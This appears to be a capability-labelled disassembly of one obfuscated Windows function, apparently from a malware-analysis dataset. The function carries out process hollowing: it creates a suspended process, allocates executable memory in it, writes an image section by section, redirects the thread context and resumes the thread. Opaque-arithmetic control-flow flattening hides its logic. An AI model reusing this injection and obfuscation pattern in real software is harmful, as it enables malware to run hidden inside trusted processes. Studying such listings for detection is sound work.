Function at 0x140105e10
Capabilities:
Create process on windows

Disassembly:
push rax
pushf
mov eax, 0xf0210ba0
pushf
not eax
add eax, 0xb7db035d
xor eax, 0xa3730afb
rol eax, 0x42
popf
pushf
not eax
add eax, 0xaef32300
xor eax, 0xabac624d
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x80dccf8a
xor eax, 0xa8a727b2
rol eax, 0x28
popf
cmp eax, 4
jne 0x140105e60
popf
pop rax
jmp 0x140106303
cmp eax, 0
jne 0x140105e6f
popf
pop rax
jmp 0x140105ec9
cmp eax, 3
jne 0x140105e7e
popf
pop rax
jmp 0x1401061da
cmp eax, 1
jne 0x140105e8d
popf
pop rax
jmp 0x140106082
cmp eax, 5
jne 0x140105e9c
popf
pop rax
jmp 0x140106361
cmp eax, 7
jne 0x140105eab
popf
pop rax
jmp 0x140106544
cmp eax, 6
jne 0x140105eba
popf
pop rax
jmp 0x140106433
cmp eax, 2
jne 0x140105ec9
popf
pop rax
jmp 0x1401061d2
push rbp
push r12
lea rbp, [rsp - 0x4d8]
sub rsp, 0x5d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x70]
xor eax, eax
xor edx, edx
mov r8d, 0xdb0afb26
pushf
not r8d
add r8d, 0xecaa6a02
xor r8d, 0xc4c3d4e6
rol r8d, 0xf3
popf
pushf
not r8d
add r8d, 0xe0f1a111
xor r8d, 0xfd45a128
rol r8d, 0xdc
popf
pushf
not r8d
add r8d, 0xfd593ee3
xor r8d, 0xf334c972
rol r8d, 0x2c
popf
mov qword [rbp + 0x4a0], rax
movups xmmword [rbp + 0x440], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp + 0x450], xmm0
movups xmmword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x470], xmm0
movups xmmword [rbp + 0x480], xmm0
movups xmmword [rbp + 0x490], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.14000ef20
xor r12d, r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [0x1b94ee914]
pushf
sub rcx, 0x794d70cc
popf
lea rax, [rbp + 0x440]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
xor edx, edx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
jmp 0x140105fd5
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14010603c
push rax
pushf
mov eax, 0xa229c97b
pushf
not eax
add eax, 0xf51c8f53
xor eax, 0xaa1a0861
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xc20b7172
xor eax, 0xbc828080
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xad9dfd81
xor eax, 0xf53e4c6c
rol eax, 0xa
popf
pushf
not eax
add eax, 0xa3c30d64
xor eax, 0xfe943f88
rol eax, 0xd7
popf
jmp 0x140105e51
push rax
pushf
mov eax, 0xccbe79f4
pushf
not eax
add eax, 0xd63ba29d
xor eax, 0xfa47c3b8
rol eax, 0xda
popf
pushf
not eax
add eax, 0x886478ec
xor eax, 0x8f683e4c
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xd910b02f
xor eax, 0xec33a12f
rol eax, 0xf6
popf
jmp 0x140105e51
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], rsi
movsxd rsi, dword [0x14001aa6c]
mov qword [rsp + 0x600], rdi
mov qword [rsp + 0x5d0], r13
lea r13, [0x1a4aa1d53]
pushf
sub r13, 0x64a87323
popf
mov qword [rsp + 0x5c8], r14
push r13
not r13
sub rsi, r13
pop r13
sub rsi, 1
mov qword [rsp + 0x5c0], r15
mov dword [rbp - 0x60], 0x10000b
jmp 0x1401060eb
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp - 8]
lea r9d, [r12 + 8]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
add rdx, 0x10
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x20], r12
jmp 0x140106113
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, [0x1bf2252e0]
pushf
sub rcx, 0x7f20da68
popf
jmp 0x14010612c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x1845dcd4e]
pushf
sub rdx, 0x445c54ee
popf
jmp 0x140106148
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x68]
cmp rdx, qword [rsi + 0x30]
jne 0x14010618c
push rax
pushf
mov eax, 0x4a82bb74
pushf
not eax
add eax, 0xa43b85ed
xor eax, 0xc7d18a7d
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xf711056e
xor eax, 0xa70f99d3
rol eax, 0x17
popf
jmp 0x140105e51
push rax
pushf
mov eax, 0xf31eb4c8
pushf
not eax
add eax, 0xb947213e
xor eax, 0xe2ffd5f6
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x9aa31a14
xor eax, 0xd06e6b2e
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xd3f0c3f3
xor eax, 0xcfbcba22
rol eax, 0x66
popf
jmp 0x140105e51
mov rcx, qword [rsp + 0x50]
jmp 0x1401061d8
call rax
mov r8d, dword [rsi + 0x50]
mov r9d, 0x5be4aa6a
pushf
not r9d
add r9d, 0xbf4b87a6
xor r9d, 0xeaabf5d8
rol r9d, 0xee
popf
pushf
not r9d
add r9d, 0xbfd0717f
xor r9d, 0xcd6535fe
rol r9d, 0xba
popf
pushf
not r9d
add r9d, 0xd3b6fa15
xor r9d, 0xfcd52f29
rol r9d, 0xfb
popf
mov rdx, qword [rsi + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
jmp 0x140106241
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsi + 0x54]
mov r8, r13
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r14, rax
mov qword [rsp + 0x20], r12
jmp 0x14010625f
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [rsi + 0x14]
mov edi, r12d
add rbx, 0x2c
cmp r12w, word [rsi + 6]
jae 0x1401062d0
push rax
pushf
mov eax, 0xbc54ca1c
pushf
not eax
add eax, 0xdfe4ced9
xor eax, 0xe737787a
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xb77c4fec
xor eax, 0x82819ab5
rol eax, 0x67
popf
pushf
not eax
add eax, 0xac13948d
xor eax, 0xf4b1b474
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xc30ce161
xor eax, 0x854861c6
rol eax, 0xca
popf
jmp 0x140105e51
push rax
pushf
mov eax, 0x224b6a28
pushf
not eax
add eax, 0x9420468c
xor eax, 0xe4857ff5
rol eax, 0x79
popf
pushf
not eax
add eax, 0xa447686d
xor eax, 0xb71cc525
rol eax, 3
popf
jmp 0x140105e51
push rsi
not rsi
sub rbx, rsi
pop rsi
sub rbx, 1
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x5a34e94b
pushf
not eax
add eax, 0xe29f438a
xor eax, 0xe164c620
rol eax, 0x40
popf
pushf
not eax
add eax, 0xac111c7e
xor eax, 0xf8aadfa7
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xc57947f0
xor eax, 0x96a72ff1
rol eax, 0x6d
popf
jmp 0x140105e51
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
push r13
not r13
sub r8, r13
pop r13
sub r8, 1
mov r9d, dword [rbx - 4]
push r14
not r14
sub rdx, r14
pop r14
sub rdx, 1
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], r12
jmp 0x140106392
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rsi + 6]
lea rbx, [rbx + 0x28]
jmp 0x1401063a1
inc edi
cmp edi, eax
jl 0x1401063da
push rax
pushf
mov eax, 0xdd05d058
pushf
not eax
add eax, 0xeac05513
xor eax, 0xc6299b69
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xabfa8cbf
xor eax, 0xd82ef987
rol eax, 0x7e
popf
jmp 0x140105e51
push rax
pushf
mov eax, 0xee8d7650
pushf
not eax
add eax, 0x92c59b25
xor eax, 0xd8fcd936
rol eax, 0x46
popf
pushf
not eax
add eax, 0xdd4b17da
xor eax, 0xd333fb74
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xd3364f29
xor eax, 0x9e4dc5c1
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xd748187c
xor eax, 0xcf085e9f
rol eax, 0xbe
popf
jmp 0x140105e51
mov rdx, qword [rbp - 8]
lea r8, [rsi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov dword [rbp - 0x60], 0x10000b
mov r9d, 0x2b112f3d
pushf
not r9d
add r9d, 0xcf820130
xor r9d, 0x96dd28b8
rol r9d, 0x81
popf
pushf
not r9d
add r9d, 0xea81829b
xor r9d, 0x85259106
rol r9d, 0x5b
popf
mov eax, dword [rsi + 0x28]
push r14
not r14
sub rax, r14
pop r14
sub rax, 1
mov qword [rsp + 0x20], r12
mov qword [rbp - 0x10], rax
jmp 0x14010649e
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
jmp 0x1401064af
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
jmp 0x1401064bb
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call fcn.1400f59a3
mov rcx, qword [rsp + 0x58]
jmp 0x1401064cf
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
jmp 0x1401064db
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x5c0]
mov r14, qword [rsp + 0x5c8]
mov r13, qword [rsp + 0x5d0]
mov rdi, qword [rsp + 0x600]
mov rsi, qword [rsp + 0x5f8]
mov rbx, qword [rsp + 0x5f0]
push rax
pushf
mov eax, 0x9f264f60
pushf
not eax
add eax, 0x8ccca2f2
xor eax, 0xc5fbfb07
rol eax, 0x65
popf
pushf
not eax
add eax, 0xd04f748e
xor eax, 0xc49a66c8
rol eax, 0xb8
popf
jmp 0x140105e51
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.14010a793
add rsp, 0x5d8
pop r12
pop rbp
ret